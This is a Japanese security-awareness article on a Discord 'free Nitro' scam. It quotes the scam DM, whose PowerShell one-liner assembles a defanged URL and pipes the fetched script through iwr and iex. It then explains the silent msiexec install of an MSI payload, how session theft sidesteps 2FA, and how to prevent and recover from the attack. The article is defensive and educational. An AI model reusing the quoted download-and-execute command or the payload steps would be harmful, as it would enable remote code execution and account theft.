1.

表で見える動き

DMと偽の案内

Private serverDM今日 12:34

プライベートサーバーで、このNitro有効化方法が共有されてた。

無料Nitroを有効化するにはCMDでこれを実行するらしい。自分ではまだ試してないけど、何人かは動いたって言ってた。消される前に送っておく。

powershell -command "if (($Mode = 'app') -and ($ActivateNitro = 'nitro' + 'features[.]' + $Mode + '/dev')) { $chart = iwr $ActivateNitro; iex $chart.Content }"
雑に言うと

無料、知人からのDM、急かし。この3つで判断を雑にさせます。普段なら怪しいコマンド貼り付けも、流れで通してしまうのが狙いです。

2.

裏で起きること

ざっくりした処理の流れ

3.

コマンドの読み方

見るべきポイントだけ

これは無害化した例です。実行しないでください。
PowerShell · defanged excerpt
$Mode = 'app'
$ActivateNitro = 'nitro' + 'features.' + $Mode + '/dev'
# => nitrofeatures[.]app/dev

$chart = iwr $ActivateNitro
# iex $chart.Content  => remote script execution

このケースは、文字列連結でURLを作り、そこへHTTPリクエストを投げ、返ってきたスクリプトをそのまま実行する形です。実行用の一行としては扱わず、読み解くための断片だけにしています。

1変数でURLを組む

$Mode に app を入れ、'nitro' + 'features.' + $Mode + '/dev' を連結します。結果は nitrofeatures[.]app/dev です。目視でURLを見落としやすくする小細工です。

2iwrで取りに行く

Invoke-WebRequest、短縮名 iwr で組み立てたURLへHTTPリクエストを送り、返ってきた内容を $chart に入れます。

3iexで中身を実行する

Invoke-Expression、短縮名 iex は文字列をPowerShellとして評価します。$chart.Content が外部から来たスクリプトなら、そのまま実行になります。

iwr

iwr は Invoke-WebRequest。外部からデータを取得するコマンドです。

iex

iex は Invoke-Expression。渡された文字列をPowerShellとして実行します。

組み合わせの危険性

iwr と iex が同じ流れにいる時点でかなり危険です。取得したものを読む前に実行してしまうため、配布側が後から中身を差し替えられます。

4.

MSIが実行される流れ

取得後のメインスクリプト

  1. 1
    %AppData% に Svservices フォルダーを作る
  2. 2
    そこへ new2.msi をダウンロードする
  3. 3
    Windows 標準の msiexec.exe で /i /qn を付けてサイレントインストールする
  4. 4
    ユーザーには「Nitro機能は負荷で一時停止中。48時間後に再試行」とだけ表示する
msiexec.exe の引数

/i はインストール、/qn は UI を出さない指定です。つまり、ユーザーには普通のインストール画面が出ません。

5.

2FAで止まらない理由

ログイン前ではなくログイン後の話

2FAは新規ログインを強くします。ただ、ログイン済みセッションを盗まれると話が別です。

通常のログイン
  1. 1パスワードを入力
  2. 22FAで本人確認
  3. 3ログイン成功
  4. 4セッションが発行される
セッション窃取
  1. 1マルウェアが実行される
  2. 2既存セッションが盗まれる
  3. 3認証済み状態が再利用される
  4. 4アカウントが操作される
突破というより、2FA後の状態を盗む

セッションが生きていると、攻撃者はログイン手順を踏まずに済む場合があります。だからパスワード変更だけでなく、全セッションのログアウトまでやる必要があります。

1.

対策

Prevention

  • Nitroや無料機能のためにPowerShell/CMDを実行しない
  • iwr、irm、iex、curl、短縮URLが見えたら止まる
  • 知人から来ても別経路で確認する
  • Discordの2FAを有効にしてバックアップコードを保管する
  • OS、ブラウザ、Discordを更新しておく
2.

実行した後

やる順番

順番が重要です

怪しい端末で先にパスワード変更しない。新しいパスワードまで抜かれる可能性があります。

  1. 1
    端末をネットワークから切る

    Wi-Fi、有線LAN、VPNを切って追加通信を止める。

  2. 2
    別端末からパスワード変更

    Discordと、使い回していたサービスをまとめて変える。

  3. 3
    全セッションをログアウト

    盗まれたセッションを残さない。

  4. 4
    2FAと復旧情報を見る

    バックアップコード、認証アプリ、復旧メールを確認する。

  5. 5
    端末をスキャン

    Defenderなどを更新してフルスキャン。怪しければ初期化も検討。

  6. 6
    周囲に知らせる

    自分から届いたリンクやファイルを開かないよう伝える。

緊急対応をフル手順で開く
6.

関連

近い手口

7.

参考情報・ソース

Sources